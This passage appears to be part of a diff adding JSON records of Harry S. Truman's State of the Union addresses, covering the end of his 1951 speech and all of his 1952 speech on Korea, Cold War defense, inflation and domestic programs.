community, and we have a\nspecial responsibility. We must take the leadership in meeting the\nchallenge to freedom and in helping to protect the rights of independent\nnations.This country has a practical, realistic program of action for meeting this\nchallenge.First, we shall have to extend economic assistance, where it can be\neffective. The best way to stop subversion by the Kremlin is to strike at\nthe roots of social injustice and economic disorder. People who have jobs,\nhomes, and hopes for the future will defend themselves against the\nunderground agents of the Kremlin. Our programs of economic aid have done\nmuch to turn back Communism,In Europe the Marshall plan has had an electrifying result. As European\nrecovery progressed, the strikes led by the Kremlin's agents in Italy and\nFrance failed. All over Western Europe the Communist Party took worse and\nworse beatings at the polls.The countries which have received Marshall plan aid have been able, through\nhard work, to expand their productive strength-in many cases, to levels\nhigher than ever before in their history. Without this strength they would\nbe completely incapable of defending themselves today. They are now ready\nto use this strength in helping to build a strong combined defense against\naggression.We shall need to continue some economic aid to European countries. This aid\nshould now be specifically related to the building of their defenses.In other parts of the world our economic assistance will need to be more\nbroadly directed toward economic development. In the Near East, in Africa,\nin Asia, we must do what we can to help people who are striving to advance\nfrom misery, poverty, and hunger. We must also continue to help the\neconomic growth of our good neighbors in this hemisphere. These actions\nwill bring greater strength for the free world. They will give many people\na real stake in the future and reason to defend their freedom. They will\nmean increased production of goods they need and materials we need.Second, we shall need to continue our military assistance to countries\nwhich want to defend themselves.The heart of our common defense effort is the North Atlantic community. The\ndefense of Europe is the basis for the defense of the whole free\nworld--ourselves included. Next to the United States, Europe is the largest\nworkshop in the world. It is also a homeland of the great religious beliefs\nshared by many of our citizens beliefs which are now threatened by the tide\nof atheistic communism.Strategically, economically, and morally, the defense of Europe is a part\nof our own defense. That is why we have joined with the countries of Europe\nin the North Atlantic Treaty, pledging ourselves to work with them.There has been much discussion recently over whether the European countries\nare willing to defend themselves. Their actions are answering this\nquestion.Our North Atlantic Treaty partners have strict systems of universal\nmilitary training. Several have recently increased the term of service. All\nhave taken measures to improve the quality of training. Forces are being\ntrained and expanded as rapidly as the necessary arms and equipment can be\nsupplied from their factories and ours. Our North Atlantic Treaty partners,\ntogether, are building armies bigger than our own.None of the North Atlantic Treaty countries, including our own country, has\ndone enough yet. But real progress is being made. Together, we have worked\nout defense plans. The military leaders of our own country took part in\nworking out these plans, and are agreed that they are sound and within our\ncapabilities.To put these plans into action, we sent to Europe last week one of our\ngreatest military commanders, General Dwight D. Eisenhower.General Eisenhower went to Europe to assume command of the united forces of\nthe North Atlantic Treaty countries, including our own forces in Germany.The people of Europe have confidence in General Eisenhower. They know his\nability to put together a fighting force of allies. His mission is vital to\nour security. We should all stand behind him, and give him every bit of\nhelp we can.Part of our job will be to reinforce the military strength of our European\npartners by sending them weapons and equipment as our military production\nexpands.Our program of military assistance extends to the nations in the Near East\nand the Far East which are trying to defend their freedom. Soviet communism\nis trying to make these nations into colonies, and to use their people as\ncannon fodder in new wars of conquest. We want their people to be free men\nand to enjoy peace.Our country has always stood for freedom for the peoples of Asia. Long,\nlong ago it stood for the freedom of the peoples of Asia. Our history shows\nthis. We have demonstrated it in the Philippines. We have demonstrated it\nin our relations with Indonesia, India, and with China. We hope to join in\nrestoring the people of Japan to membership in the community of free\nnations.It is in the Far East that we have taken up arms, under the United Nations,\nto preserve the principle of independence for free nations. We are fighting\nto keep the forces of Communist aggression from making a slave state out of\nKorea.Korea has tremendous significance for the world. It means that free\nnations, acting through the United Nations, are fighting together against\naggression.We will understand the importance of this best if we look back into\nhistory. If the democracies had stood up against the invasion of Manchuria\nin 1931, or the attack on Ethiopia in 1935, or the seizure of Austria in\n1938, if they had stood together against aggression on those occasions as\nthe United Nations has done in Korea, the whole history of our time would\nhave been different.The principles for which we are fighting in Korea are right and just. They\nare the foundations of collective security and of the future of free\nnations. Korea is not only a country undergoing the torment of aggression;\nit is also a symbol. It stands for right and justice in the world against\noppression and slavery. The free world must always stand for these\nprinciples--and we will stand with the free world.As the third part of our program, we will continue to work for peaceful\nsettlements in international disputes. We will support the United Nations\nand remain loyal to the great principles of international cooperation laid\ndown in its charter.We are willing, as we have always been, to negotiate honorable settlements\nwith the Soviet Union. But we will not engage in appeasement.The Soviet rulers have made it clear that we must have strength as well as\nright on our side. If we build our strength--and we are building it--the\nSoviet rulers may face the facts and lay aside their plans to take over the\nworld.That is what we hope will happen, and that is what we are trying to bring\nabout. That is the only realistic road to peace.These are the main elements of the course our Nation must follow as a\nmember of the community of free nations. These are the things we must do to\npreserve our security and help create a peaceful world. But they will be\nsuccessful only if we increase the strength of our own country.Here at home we have some very big jobs to do. We are building much\nstronger military forces--and we are building them fast. We are preparing\nfor full wartime mobilization, if that should be necessary. And we are\ncontinuing to build a strong and growing economy, able to maintain whatever\neffort may be required for as long as necessary.We are building our own Army, Navy, and Air Force to an active strength of\nnearly 3 1/2 million men and women. We are stepping up the training of the\nreserve forces, and establishing more training facilities, so that we can\nrapidly increase our active forces far more on short notice.We are going to produce all the weapons and equipment that such an armed\nforce will need. Furthermore, we will make weapons for our allies, and\nweapons for our own reserve supplies. On top of this, we will build the\ncapacity to turn out on short notice arms and supplies that may be needed\nfor a full-scale war.Fortunately, we have a good start on this because of our enormous plant\ncapacity and because of the equipment on hand from the last war. For\nexample, many combat ships are being returned to active duty from the\n\"mothball fleet\" and many others can be put into service on very short\nnotice. We have large reserves of arms and ammunition and thousands of\nworkers skilled in arms production.In many cases, however, our stocks of weapons are low. In other cases,\nthose on hand are not the most modern. We have made remarkable technical\nadvances. We have developed new types of jet planes and powerful new tanks.\nWe are concentrating on producing the newest types of weapons and producing\nthem as fast as we can.This production drive is more selective than the one we had during World\nWar II, but it is just as urgent and intense. It is a big program and it is\na costly one.Let me give you two concrete examples. Our present program calls for\nexpanding the aircraft industry so that it will have the capacity to\nproduce 50,000 modern military planes a year. We are preparing the capacity\nto produce 35,000 tanks a year. We are not now ordering that many planes or\nthat many tanks, and we hope that we never have to, but we mean to be able\nto turn them out if we need them.The planes we are producing now are much bigger, much better, and much more\nexpensive than the planes we had during the last war.We used to think that the B-17 was a huge plane, and the blockbuster it\ncarried a huge load. But the B-36 can carry five of these blockbusters in\nits belly, and it can carry them five times as far. Of course, the B-36 is\nmuch more complicated to build than the B-17, and far more expensive. One\nB-17 costs $275,000, while now one B-36 costs $3 1/2 million.I ask you to remember that what we are doing is to provide the best and\nmost modern military equipment in the world for our fighting forces.This kind of defense production program has two parts.The first part is to get our defense production going as fast as possible.\nWe have to convert plants and channel materials to defense production. This\nmeans heavy cuts in civilian uses of copper, aluminum, rubber, and other\nessential materials. It means shortages in various consumer goods.The second part is to increase our capacity to produce and to keep our\neconomy strong for the long pull. We do not know how long Communist\naggression will threaten the world.Only by increasing our output can we carry the burden of preparedness for\nan indefinite period in the future. This means that we will have to build\nmore power plants and more steel mills, grow more cotton, mine more copper,\nand expand our capacity in many other ways.The Congress will need to consider legislation, at this session, affecting\nall the aspects of our mobilization job. The main subjects on which\nlegislation will be needed are:First, appropriations for our military buildup.Second, extension and revision of the Selective Service Act.Third, military and economic aid to help build up the strength of the free\nworld.Fourth, revision and extension of the authority to expand production and to\nstabilize prices, wages, and rents.Fifth, improvement of our agricultural laws to help obtain the kinds of\nfarm products we need for the defense effort.Sixth, improvement of our labor laws to help provide stable\nlabor-management relations and to make sure that we have steady production\nin this emergency.Seventh, housing and training of defense workers and the full use of all\nour manpower resources.Eighth, means for increasing the supply of doctors, nurses, and other\ntrained medical personnel critically needed for the defense effort.Ninth, aid to the States to meet the most urgent needs of our elementary\nand secondary schools. Some of our plans will have to be deferred for the\ntime being. But we should do all we can to make sure our children are being\ntrained as good and useful citizens in the critical times ahead.Tenth, a major increase in taxes to meet the cost of the defense effort.The Economic Report and the Budget Message will discuss these subjects\nfurther. In addition, I shall send to the Congress special messages\ncontaining detailed recommendations on legislation needed at this Session.In the months ahead the Government must give priority to activities that\nare urgent--like military procurement and atomic energy and power\ndevelopment. It must practice rigid economy in its nondefense activities.\nMany of the things we would normally do must be curtailed or postponed.But in a long-term defense effort like this one, we cannot neglect the\nmeasures needed to maintain a strong economy and a healthy democratic\nsociety.The Congress, therefore, should give continued attention to the measures\nwhich our country will need for the long pull. And it should act upon such\nlegislation as promptly as circumstances permit.To take just one example--we need to continue and complete the work of\nrounding out our system of social insurance. We still need to improve our\nprotection against unemployment and old age. We still need to provide\ninsurance against the loss of earnings through sickness, and against the\nhigh costs of modern medical care.And above all, we must remember that the fundamentals of our strength rest\nupon the freedoms of our people. We must continue our efforts to achieve\nthe full realization of our democratic ideals. We must uphold the freedom\nof speech and the freedom of conscience in our land. We must assure equal\nrights and equal opportunities to all our citizens.As we go forward this year in the defense of freedom, let us keep dearly\nbefore us the nature of our present effort.We are building up our strength, in concert with other free nations, to\nmeet the danger of aggression that has been turned loose on the world. The\nstrength of the free nations is the world's best hope of peace.I ask the Congress for unity in these crucial days.Make no mistake about my meaning. I do not ask, or expect, unanimity. I do\nnot ask for an end to debate. Only by debate can we arrive at decisions\nwhich are wise, and which reflect the desires of the American people. We do\nnot have a dictatorship in this country, and we never will have one in this\ncountry.When I request unity, what I am really asking for is a sense of\nresponsibility on the part of every Member of this Congress. Let us debate\nthe issues, but let every man among us weigh his words and his deeds. There\nis a sharp difference between harmful criticism and constructive criticism.\nIf we are truly responsible as individuals, I am sure that we will be\nunified as a government.Let us keep our eyes on the issues and work for the things we all believe\nin.Let each of us put our country ahead of our party, and ahead of our own\npersonal interests.I had the honor to be a Member of the Senate during World War II, and I\nknow from experience that unity of purpose and of effort is possible in the\nCongress without any lessening of the vitality of our two-party system.Let us all stand together as Americans. Let us stand together with all men\neverywhere who believe in human liberty.Peace is precious to us. It is the way of life we strive for with all the\nstrength and wisdom we possess. But more precious than peace are freedom\nand justice. We will fight, if fight we must, to keep our freedom and to\nprevent justice from being destroyed.These are the things that give meaning to our lives, and which we\nacknowledge to be greater than ourselves.This is our cause--peace, freedom, justice. We will pursue this cause with\ndetermination and humility, asking divine guidance that in all we do we may\nfollow the will of God.", 
+    "name": "Harry S. Truman"
+}
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+{
+    "date": "January 9, 1952", 
+    "speech": "Mr. President, Mr. Speaker, Members of the Congress:I have the honor to report to the Congress on the state of the Union.At the outset, I should like to speak of the necessity for putting first\nthings first as we work together this year for the good of our country.The United States and the whole free world are passing through a period of\ngrave danger. Every action you take here in Congress, and every action that\nI take as President, must be measured against the test of whether it helps\nto meet that danger.This will be a presidential election year-the year in which politics plays\na large part in our lives--a larger part than usual. That is perfectly\nproper. But we have a greater responsibility to conduct our political\nfights in a manner that does not harm the national interest.We can find plenty of things to differ about without destroying our free\ninstitutions and without abandoning our bipartisan foreign policy for\npeace.When everything is said and done, all of us--Republicans and Democrats\nalike--all of us are Americans; and we are all going to sink or swim\ntogether.We are moving through a perilous time. Faced with a terrible threat of\naggression, our Nation has embarked upon a great effort to help establish\nthe kind of world in which peace shall be secure. Peace is our goal-not\npeace at any price, but a peace based on freedom and justice. We are now in\nthe midst of our effort to reach that goal. On the whole, we have been\ndoing very well.Last year, 1951, was a year in which we threw back aggression, added\ngreatly to our military strength, and improved the chances for peace and\nfreedom in many parts of the world.This year, 1952, is a critical year in the defense effort of the whole free\nworld. If we falter we can lose all the gains we have made. If we drive\nahead, with courage and vigor and determination, we can by the end of 1952\nbe in a position of much greater security. The way will be dangerous for\nthe years ahead, but if we put forth our best efforts this year--and next\nyear--we can be \"over the hump\" in our effort to build strong defenses.When we look at the record of the past year, 1951, we find important things\non both the credit and the debit side of the ledger. We have made great\nadvances. At the same time we have run into new problems which must be\novercome.Now let us look at the credit side first.Peace depends upon the free nations sticking together, and making a\ncombined effort to check aggression and prevent war. In this respect, 1951\nwas a year of great achievement.In Korea the forces of the United Nations turned hack the Chinese Communist\ninvasion-and did it without widening the area of conflict. The action of\nthe United Nations in Korea has been a powerful deterrent to a third world\nwar. However, the situation in Korea remains very hazardous. The outcome of\nthe armistice negotiation still remains uncertain.In Indochina and Malaya, our aid has helped our allies to hold back the\nCommunist advance, although there are signs of further trouble in that\narea.In 1951 we strengthened the chances of peace in the Pacific region by the\ntreaties with Japan and the defense arrangements with Australia, New\nZealand, and the Philippines.In Europe combined defense has become a reality. The free nations have\ncreated a real fighting force. This force is not yet as strong as it needs\nto be; but it is already a real obstacle to any attempt by hostile forces\nto sweep across Europe to the Atlantic.In 1951 we also moved to strengthen the security of Europe by the agreement\nto bring Greece and Turkey into the North Atlantic Treaty.The United Nations, the world's greatest hope for peace, has come through a\nyear of trial stronger and more useful than ever. The free nations have\nstood together in blocking Communist attempts to tear up the charter.At the present session of the United Nations in Paris, we, together with\nthe British and the French, offered a plan to reduce and control all\narmaments under a foolproof inspection system. This is a concrete,\npractical proposal for disarmament.But what happened? Vishinsky laughed at it. Listen to what he said: \"I\ncould hardly sleep at all last night .... I could not sleep because I kept\nlaughing.\" The world will be a long time forgetting the spectacle of that\nfellow laughing at disarmament.Disarmament is not a joke. Vishinsky's laughter met with shock and anger\nfrom the people all over the world. And, as a result, Mr. Stalin's\nrepresentative received orders to stop laughing and start talking.If the Soviet leaders were to accept this proposal, it would lighten the\nburden of armaments, and permit the resources of the earth to be devoted to\nthe good of mankind. But until the Soviet Union accepts a sound disarmament\nproposal, and joins in peaceful settlements, we have no choice except to\nbuild up our defenses.During this past year we added more than a million men and women to our\nArmed Forces. The total is now nearly 3 1/2 million. We have made rapid\nprogress in the field of atomic weapons. We have turned out billion worth\nof military supplies and equipment, three times as much as the year\nbefore.Economic conditions in the country are good. There are 61 million people on\nthe job; wages, farm incomes, and business profits are at high levels.\nTotal production of goods and services in our country has increased 8\npercent over last year--about twice the normal rate of growth.Perhaps the most amazing thing about our economic progress is the way we\nare increasing our basic capacity to produce. For example, we are now in\nthe second year of a 3-year program which will double our output of\naluminum, increase our electric power supply by 40 percent, and increase\nour steelmaking capacity by 15 percent. We can then produce 120 million\ntons of steel a year, as much as all the rest of the world put together.This expansion will mean more jobs and higher standards of living for all\nof us in the years ahead. At the present time it means greater strength for\nus and for the rest of the free world in the fight for peace.Now, I must turn to the debit side of the ledger for the past year.The outstanding fact to note on the debit side of the ledger is that the\nSoviet Union, in 1951, continued to expand its military production and\nincrease its already excessive military power.It is true that the Soviets have run into increasing difficulties. Their\nhostile policies have awakened stern resistance among free men throughout\nthe world. And behind the Iron Curtain the Soviet rule of force has created\ngrowing political and economic stresses in the satellite nations.Nevertheless, the grim fact remains that the Soviet Union is increasing its\narmed might. It is still producing more war planes than the free nations.\nIt has set off two more atomic explosions. The world still walks in the\nshadow of another world war.And here at home, our defense preparations are far from complete.During 1951 we did not make adequate progress in building up civil defense\nagainst atomic attack. This is a major weakness in our plans for peace,\nsince inadequate civilian defense is an open invitation to a surprise\nattack. Failure to provide adequate civilian defense has the same effect as\nadding to the enemy's supply of atomic bombs.In the field of defense production we have run into difficulties and delays\nin designing and producing the latest types of airplanes and tanks. Some\nmachine tools and metals are still in extremely short supply.In other free countries the defense buildup has created severe economic\nproblems. It has increased inflation in Europe and has endangered the\ncontinued recovery of our allies.In the Middle East political tensions and the oil controversy in Iran are\nkeeping the region in a turmoil. In the Far East the dark threat of\nCommunist imperialism still hangs over many nations.This, very briefly, is the good side and the bad side of the picture.Taking the good and bad together, we have made real progress this last year\nalong the road to peace. We have increased the power and unity of the free\nworld. And while we were doing this, we have avoided world war on the one\nhand, and appeasement on the other. This is a hard road to follow, but the\nevents of the last year show that it is the right road to peace.We cannot expect to complete the job overnight. The free nations may have\nto maintain for years the larger military forces needed to deter\naggression. We must build steadily, over a period of years, toward\npolitical solidarity and economic progress among the free nations in all\nparts of the world.Our task will not be easy; but if we go at it with a will, we can look\nforward to steady progress. On our side are all the great resources of\nfreedom--the ideals of religion and democracy, the aspiration of people for\na better life, and the industrial and technical power of a free\ncivilization.These advantages outweigh anything the slave world can produce. The only\nthing that can defeat us is our own state of mind. We can lose if we\nfalter.The middle period of a great national effort like this is a very difficult\ntime. The way seems long and hard. The goal seems far distant. Some people\nget discouraged. That is only natural.But if there are any among us who think we ought to ease up in the fight\nfor peace, I want to remind them of three things--just three things.First: The threat of world war is still very real. We had one Pearl\nHarbor--let's not get caught off guard again. If you don't think the threat\nof Communist armies is real, talk to some of our men back from Korea.Second: If the United States had to try to stand alone against a\nSoviet-dominated world, it would destroy the life we know and the ideals we\nhold dear. Our allies are essential to us, just as we are essential to\nthem. The more shoulders there are to bear the burden the lighter that\nburden will be.Third: The things we believe in most deeply are under relentless attack. We\nhave the great responsibility of saving the basic moral and spiritual\nvalues of our civilization. We have started out well--with a program for\npeace that is unparalleled in history. If we believe in ourselves and the\nfaith we profess, we will stick to that job until it is victoriously\nfinished.This is a time for courage, not for grumbling and mumbling.Now, let us take a look at the things we have to do.The thing that is uppermost in the minds of all of us is the situation in\nKorea. We must, and we will, keep up the fight there until we get the kind\nof armistice that will put an end to the aggression and protect the safety\nof our forces and the security of the Republic of Korea. Beyond that we\nshall continue to work for a settlement in Korea that upholds the\nprinciples of the United Nations.We went into Korea because we knew that Communist aggression had to be met\nfirmly if freedom was to be preserved in the world. We went into the fight\nto save the Republic of Korea, a free country, established under the United\nNations. These are our aims. We will not give up until we attain them.Meanwhile, we must continue to strengthen the forces of freedom throughout\nthe world.I hope the Senate will take early and favorable action on the Japanese\npeace treaty, on our security pacts with the Pacific countries, and on the\nagreement to bring Greece and Turkey into the North Atlantic Treaty.We are also negotiating an agreement with the German Federal Republic under\nwhich it can play an honorable and equal part among nations and take its\nplace in the defense of Western Europe.But treaties and plans are only the skeleton of our defense structure. The\nsinew and muscle of defense are the forces and equipment which must be\nprovided.In Europe we must go on helping our friends and allies to build up their\nmilitary forces. This means we must send weapons in large volume to our\nEuropean allies. I have directed that weapons for Europe be given a very\nhigh priority. Economic aid is necessary, too, to supply the margin of\ndifference between success and failure in making Europe a strong partner in\nour joint defense.In the long run we want to see Europe freed from any dependence on our aid.\nOur European allies want that just as bad as we do. The steps that are now\nbeing taken to build European unity should help bring that about. Six\nEuropean countries are pooling their coal and steel production under the\nSchuman plan. Work is going forward on the merger of European national\nforces on the Continent into a single army. These great projects should\nbecome realities in 1952.We should do all we can to help and encourage the move toward a strong and\nunited Europe.In Asia the new Communist empire is a daily threat to millions of people.\nThe peoples of Asia want to be free to follow their own way of life. They\nwant to preserve their culture and their traditions against communism, just\nas much as we want to preserve ours. They are laboring under terrific\nhandicaps--poverty, ill health, feudal systems of land ownership, and the\nthreat of internal subversion or external attack. We can and we must\nincrease our help to them.This means military aid, especially to those places like Indochina which\nmight be hardest hit by some new Communist attack.It also means economic aid, both technical know-how and capital\ninvestment.This last year we made available millions of bushels of wheat to relieve\nfamine in India. But far more important, in the long run, is the work\nAmericans are doing in India to help the Indian farmers themselves raise\nmore grain. With the help of our technicians, Indian farmers, using simple,\ninexpensive means, have been able since 1948 to double the crops in one\narea in India. One farmer there raised 63 bushels of wheat to the acre,\nwhere 13 bushels had been the average before.This is point 4--our point 4 program at work. It is working--not only in\nIndia but in Iran, Paraguay, Liberia--in 33 countries around the globe. Our\ntechnical missionaries are out there. We need more of them. We need more\nfunds to speed their efforts, because there is nothing of greater\nimportance in all our foreign policy. There is nothing that shows more\nclearly what we stand for, and what we want to achieve.My friends of the Congress, less than one-third of the expenditure for the\ncost of World War II would have created the developments necessary to feed\nthe whole world so we wouldn't have to stomach communism. That is what we\nhave got to fight, and unless we fight that battle and win it, we can't win\nthe cold war or a hot one either.We have recently lost a great public servant who was leading this effort to\nbring opportunity and hope to the people of half the world. Dr. Henry\nBennett and his associates died in line of duty on a point 4 mission. It is\nup to us to carry on the great work for which they gave their lives.During the coming year we must not forget the suffering of the people who\nlive behind the Iron Curtain. In those areas minorities are being\noppressed, human rights violated, religions persecuted. We should continue\nto expose those wrongs. We should continue and expand the activities of the\nVoice of America, which brings our message of hope and truth to those\npeoples and other peoples throughout the world.I have just had an opportunity to discuss many of these world problems with\nPrime Minister Churchill. We have had a most satisfactory series of\nmeetings. We thoroughly reviewed the situation in Europe, the Middle East,\nand the Far East. We both look forward to steady progress toward peace\nthrough the cooperative action and teamwork of the free nations.Turning from our foreign policies, let us consider the jobs we have here at\nhome as a part of our program for peace.The first of these jobs is to move ahead full steam on the defense\nprogram.Our objective is to have a well-equipped active defense force large\nenough--in concert with the forces of our allies--to deter aggression and\nto inflict punishing losses on the enemy immediately if we should be\nattacked. This active force must be backed by adequate reserves, and by the\nplants and tools to turn out the tremendous quantities of new weapons that\nwould be needed if war came. We are not building an active force adequate\nto carry on full scale war, but we are putting ourselves in a position to\nmobilize very rapidly if we have to.This year I shall recommend some increases in the size of the active force\nwe are building, with particular emphasis on air power. This means we shall\nhave to continue large-scale production of planes and other equipment for a\nlonger period of time than we had originally planned.Planes and tanks and other weapons-what the military call \"hard goods\"--are\nnow beginning to come off the production lines in volume. Deliveries of\nhard goods now amount to about a billion and a half dollars worth a month.\nA year from now, we expect that rate to be doubled.We shall have to hold to a high rate of military output for about a year\nafter that. In 1954 we hope to have enough equipment so that we can reduce\nthe production of most military items substantially. The next 2 years\nshould therefore be the peak period of defense production.Defense needs will take a lot of steel, aluminum, copper, nickel, and other\nscarce materials. This means smaller production of some civilian goods. The\ncutbacks will be nothing like those during World War II, when most civilian\nproduction was completely stopped. But there will be considerably less of\nsome goods than we have been used to these past 2 or 3 years.The very critical part of our defense job this year is to keep down\ninflation.We can control inflation if we make up our minds to do it.On the executive side of the Government, we intend to hold the line on\nprices just as tightly as the law allows. We will permit only those wage\nincreases which are clearly justified under sound stabilization policies;\nand we will see to it that industries absorb cost increases out of earnings\nwherever feasible, before they are authorized to raise prices. We will do\nthat, at any rate, except where the recent amendments to the law\nspecifically require us to give further price increases.Congress has a tremendous responsibility in this matter. Our stabilization\nlaw was shot full of holes at the last session. This year, it will be one\nof the main tasks before the Congress to repair the damage and enact a\nstrong anti-inflation law.As a part of our program to keep our country strong, we are determined to\npreserve the financial strength of the Government. This means high taxes\nover the next few years. We must see to it that these taxes are shared\namong the people as fairly as possible. I expect to discuss these matters\nin the Economic Report and the Budget Message which will soon be presented\nto the Congress.Our tax laws must be fair. And we must make absolutely certain they are\nadministered fairly, without fear or favor of any kind for anybody. To this\nend, steps have already been taken to remedy weaknesses which have been\ndisclosed in the administration of the tax laws. In addition, I hope the\nCongress will approve my reorganization plan for the Bureau of Internal\nRevenue. We must do everything necessary in order to make just as certain\nas is humanly possible that every taxpayer receives equal treatment under\nthe law.To carry the burden of defense we must have a strong, productive, and\nexpanding economy here at home. We cannot neglect those things that have\nmade us the great and powerful nation we are today.Our strength depends upon the health, the morale, the freedom of our\npeople. We can take on the burden of leadership in the fight for world\npeace because, for nearly 20 years, the Government and the people have been\nworking together for the general welfare. We have given more and more of\nout citizens a fair chance at decent, useful, productive lives. That is the\nreason we are as strong as we are today.This Government of ours--the Congress and the executive both--must keep on\nworking to bring about a fair deal for all the American people. Some people\nwill say that we haven't the time or the money this year for measures for\nthe welfare of the people. But if we want to win the fight for peace, this\nis a part of the job we cannot ignore.We will have to give up some things, we will have to go forward on others\nat a slower pace. But, so far as I am concerned, I do not think we can give\nup the things that are vital to our national strength.I believe most people in this country will agree with me on that.I think most farmers understand that soil conservation and rural\nelectrification and agricultural research are not frills or luxuries, but\nreal necessities in order to boost our farm production.I think most workers understand that decent housing and good working\nconditions are not luxuries, but necessities if the working men and women\nof this country are to continue to out-produce the rest of the world.I think our businessmen know that scientific research and transportation\nservices and more steel mills and power projects are not luxuries, but\nnecessities to keep our business and our industry in the forefront of\nindustrial progress.I think everybody knows that social insurance and better schools and health\nservices are not frills, but necessities in helping all Americans to be\nuseful and productive citizens, who can contribute their full share in the\nnational effort to protect and advance our way of life.We cannot do all we want to in times like these--we have to choose the\nthings that will contribute most to defense--but we must continue to make\nprogress if we are to be a strong nation in the years ahead.Let me give you some examples.We are going right ahead with the urgently needed work to develop our\nnatural resources, to conserve our soil, and to prevent floods. We are\ngoing to produce essential power and build the lines that are necessary and\nthat we have to have to transmit it to our farms and factories. We are\ngoing to encourage exploration for new mineral deposits.We are going to keep on building essential highways and taking any other\nsteps that will assure the Nation an adequate transportation system--on\nland, on the sea, and in the air.We must move right ahead this year to see that defense workers and\nsoldiers' families get decent housing at rents they can afford to pay.We must begin our long deferred program of Federal aid to education--to\nhelp the States meet the present crisis in the operation of our schools.\nAnd we must help with the construction of schools in areas where they are\ncritically needed because of the defense effort.We urgently need to train more doctors and other health personnel, through\naid to medical education. We also urgently need to expand the basic public\nhealth services in our home communities--especially in defense areas. The\nCongress should go ahead with these two measures immediately.I have set up an impartial commission to make a thorough study of the\nNation's health needs. One of the things this commission is looking into is\nhow to bring the cost of modern medical care within the reach of all the\npeople. I have repeatedly recommended national health insurance as the best\nway to do this. So far as I know, it is still the best way. If there are\nany better answers, I hope this commission will find them. But of one thing\nI am sure: something must be done, and done soon.This year we ought to make a number of urgently needed improvements in our\nsocial security law. For one thing, benefits under old-age and survivors\ninsurance should be raised $5 a month above the present average of $42. For\nanother thing, the States should be given special aid to help them increase\npublic assistance payments. By doing these things now, we can ease the\npressure of living costs for people who depend on those fixed payments.We should also make some cost-of-living adjustments for those receiving\nveterans' compensation for death or disability incurred in the service of\nour country. In addition, now is the time to start a sensible program of\nreadjustment benefits for our veterans who have seen service since the\nfighting broke out in Korea.Another thing the Congress should do at this session is to strengthen our\nsystem of farm price supports to meet the defense emergency. The \"sliding\nscale\" in the price support law should not be allowed to penalize farmers\nfor increasing production to meet defense needs. We should also find a new\nand less costly method for supporting perishable commodities than the law\nnow provides.We need to act promptly to improve our labor law. The Taft-Hartley Act has\nmany serious and far-reaching defects. Experience has demonstrated this so\nclearly that even the sponsors of the act now admit that it needs to be\nchanged. A fair law, fair to both management and labor, is indispensable to\nsound labor relations and to full, uninterrupted production. I intend to\nkeep on working for a fair law until we get one.As we build our strength to defend the freedom in the world, we ourselves\nmust extend the benefits of freedom more widely among all our own people.\nWe need to take action toward the wider enjoyment of civil rights. Freedom\nis the birthright of every American.The executive branch has been making real progress toward full equality of\ntreatment and opportunity--in the Armed Forces, in the civil service, and\nin private firms working for the Government. Further advances require\naction by Congress, and I hope that means will be provided to give the\nMembers of the Senate and the House a chance to vote on them.I am glad to hear that home rule for the District of Columbia will be the\nfirst item of business before the Senate. I hope that it, as well as\nstatehood for Hawaii and Alaska, will be adopted promptly.All these measures I have been talking about--measures to advance the\nwell-being of our people--demonstrate to the world the forward movement of\nour free society.This demonstration of the way free men govern themselves has a more\npowerful influence on the people of the world--on both sides of the Iron\nCurtain--than all the trick slogans and pie-in-the-sky promises of the\nCommunists.But our shortcomings, as well as our progress, are watched from abroad. And\nthere is one shortcoming I want to speak about plainly.Our kind of government above all others cannot tolerate dishonesty among\npublic servants.Some dishonest people worm themselves into almost every human organization.\nIt is all the more shocking, however, when they make their way into a\nGovernment such as ours, which is based on the principle of justice for\nall. Such unworthy public servants must be weeded out. I intend to see to\nit that Federal employees who have been guilty of misconduct are punished\nfor it. I also intend to see to it that the honest and hard-working great\nmajority of our Federal employees are protected against partisan slander\nand malicious attack.I have already made some recommendations to the Congress to help accomplish\nthese purposes. I intend to submit further recommendations to this end. I\nwill welcome the wholehearted cooperation of the Congress in this effort.I also think that the Congress can do a great deal to strengthen confidence\nin our institutions by applying rigorous standards of moral integrity to\nits own operations, and by finding an effective way to control campaign\nexpenditures, and by protecting the rights of individuals in congressional\ninvestigations.To meet the crisis which now hangs over the world, we need many different\nkinds of strength--military, economic, political, and moral. And of all\nthese, I am convinced that moral strength is the most vital.When you come right down to it, it is the courage and the character of our\nNation--and of each one of us as individuals-that will really decide how\nwell we meet this challenge.We are engaged in a great undertaking at home and abroad--the greatest, in\nfact, that any nation has ever been privileged to embark upon. We are\nworking night and day to bring peace to the world and to spread the\ndemocratic ideals of justice and self-government to all people. Our\naccomplishments are already remarkable. We ought to be full of pride in\nwhat we are doing, and full of confidence and hope in the outcome. No\nnation ever had greater resources, or greater energy, or nobler traditions\nto inspire it.And yet, day in and day out, we see a long procession of timid and fearful\nmen who wring their hands and cry out that we have lost the way, that we\ndon't know what we are doing, that we are bound to fail. Some say we should\ngive up the struggle for peace, and others say we should have a war and get\nit over with. That's a terrible statement. I had heard it made, but they\nwant us to forget the great objective of preventing another world war--the\nobjective for which our soldiers have been fighting in the hills of Korea.If we are to be worthy of all that has been done for us by our soldiers in\nthe field, we must be true to the ideals for which they are fighting. We\nmust reject the counsels of defeat and despair. We must have the\ndetermination to complete the great work for which our men have laid down\ntheir lives.In all we do, we should remember who we are and what we stand for. We are\nAmericans. Our forefathers had far greater obstacles than we have, and much\npoorer chances of success. They did not lose heart, or turn aside from\ntheir goals. In the darkest of all winters in American history, at Valley\nForge, George Washington said: \"We must not, in so great a contest, expect\nto meet with nothing but sunshine.\" With that spirit they won their fight\nfor freedom.We must have that same faith and vision. In the great contest in which we\nare engaged today, we cannot expect to have fair weather all the way. But\nit is a contest just as important for this country and for all men, as the\ndesperate struggle that George Washington fought through to victory.Let us prove, again, that we are not merely sunshine patriots and summer\nsoldiers. Let us go forward, trusting in the God of Peace, to win the goals\nwe seek.", 
+    "name": "Harry S. Truman"
+}
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+{
+    "date": "December 2, 1930", 
